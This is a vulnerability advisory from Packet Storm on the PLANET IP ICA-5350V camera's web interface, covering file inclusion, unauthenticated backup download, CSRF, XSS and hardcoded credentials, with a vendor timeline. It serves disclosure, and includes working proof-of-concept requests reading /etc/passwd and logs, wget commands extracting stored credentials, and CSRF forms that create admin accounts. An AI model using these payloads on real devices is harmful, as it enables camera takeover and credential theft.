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PLANET IP ICA-5350V LFI / XSS / CSRF / Bypass

🗓️ 22 Feb 2016 00:00:00Reported by GT.OmazType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

PLANET IP ICA-5350V LFI / XSS / CSRF / Bypass vulnerability in web management interface allowing file inclusion, sensitive info disclosure, and CSRF attacks

Code
`Overview  
=======  
Technical Risk: high  
Likelihood of Exploitation: medium  
Tested version: ICA-5350V/ICA-*  
Credits: Discovered and researched by GT.Omaz from OrwellLabs  
  
Issues  
=====  
I. Local File Inclusion  
II. Arbitrary file read/Authentication bypass  
III. Sensitive information disclosure  
IV. Cross-site request forgery  
V. Reflected Cross-site scripting  
VI. hardcoded credentials  
  
  
I. Local File Inclusion  
================  
  
The Web Management interface of PLANET IP surveillance Cam model ICA-5350V  
(and probably some other models, maybe ICA-*)  
is prone to Local File Include (LFI).  
  
POC  
------  
The request bellow is generated when a new user is added, in this case  
we are adding the following administrative credential for the cam:  
"root:r00tx".  
  
  
GET /cgi-bin/admin/querylogin.cgi HTTP/1.1  
Host: {xxx.xxx.xxx.xxx}  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101  
Firefox/42.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer:  
*http://{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp  
*  
Cookie: ipcam_profile=1; tour_index=-1; IsHideStreamingStatus=yes  
Authorization: Basic YdRRtXW41YXRtad4=  
Connection: keep-alive  
If-Modified-Since: Mon, 08 Jul 2013 11:10:26 GMT  
  
  
If the value of the parameter "redirect" was changed to any system file  
will return the contents of that file, as shown below:  
http://  
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&  
*redirect=/etc/passwd *  
  
In this case will retrieved the content of /etc/passwd  
  
  
II. Arbitrary file read/Authentication bypass  
================================  
The camera offers a feature to perform the download settings via a backup  
file. However,  
(how acess control is not effective) this file remains accessible via the  
browser for an unauthenticated user.  
  
POC  
-----  
wget --no-check-certificate https://{xxx.xxx.xxx.xxx}/backup.tar.gz  
tar -xzvf backup.tar.gz  
cat tmp/sysConfig/sysenv.cfg|strings|fmt|cut -f8,9 -d" "  
  
It will return the credential to access the camera  
  
Through this vulnerability a user can also obtain the credential of the AP  
to which the camera is connected just parsing  
the file: 'tmp/sysConfig/extra.info'  
  
  
III. Sensitive information disclosure  
===========================  
Using LFI vulnerability report, a user can obtain sensitive information  
such as username and password by reading the log file, as follows:  
  
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=&pwd=&grp=&sgrp=&action=&redirect=/var/log/messages  
  
  
IV. Cross-site request forgery  
======================  
Planet IP cams ICA-* are prone to Multple CSRF.  
  
POC  
------  
  
- This will create a admin credential: root:r00tx  
  
<html>  
<!-- CSRF PoC - -->  
<body>  
<form action="http://  
{xxx.xxx.xxx.xxx}/setup.cgi?language=ie&adduser=root:r00tx:1">  
<input type="submit" value="Submit form" />  
</form>  
</body>  
</html>  
  
- ICA-5350V  
  
  
<html>  
<!-- CSRF PoC -->  
<body>  
<form action="http://  
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp">  
<input type="submit" value="Submit form" />  
</form>  
</body>  
</html>  
  
- Del user root  
  
<html>  
<!-- CSRF PoC -->  
<body>  
<form action="http://  
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=remove&redirect=asp%2Fuser.asp">  
<input type="submit" value="Submit form" />  
</form>  
</body>  
</html>  
  
  
V. Cross-Site Scripting  
=================  
Cams models ICA-* are prone to Multiple XSS  
  
POC  
-------  
http://{xxx.xxx.xxx.xxx}/setup.cgi?<script>alert("XSS")</script>  
  
this will pop-up the message XSS in the browser  
  
  
VI. hardcoded credentials  
====================  
  
The credentials of web management can be found just viewing the source of  
page default_nets.htm:  
  
POC  
------  
https://{xxx.xxx.xxx.xxx}/default_nets.htm  
  
code:  
  
}  
  
function av_onload(){  
CheckMobileMode();  
util_SetUserInfo();  
Loadplay();  
watchdog();  
//alert("watchdog");  
}  
function Loadplay(){  
play("*MasterUsr","MasterPwd*  
","554",parseInt("99"),parseInt("99"),"1",parseInt("2"),parseInt("0"),"192.168.1.99","");  
}  
  
  
Timeline  
=======  
2015-10-02 - Issues discovered  
2015-11-30 - Vendor contacted (advisore sent)  
2015-12-16 - Vendor contacted (asking for feedback about reported issues)  
2015-12-17 - Vendor response (asking for more time to check issues)  
2015-12-21 - RD team replied: can't duplicate vulnerabilities....  
2016-01-13 - Vendor contacted (submitted evidence that the vulnerabilities  
persist and can be reproduced.)  
...and no news after that...  
  
  
`

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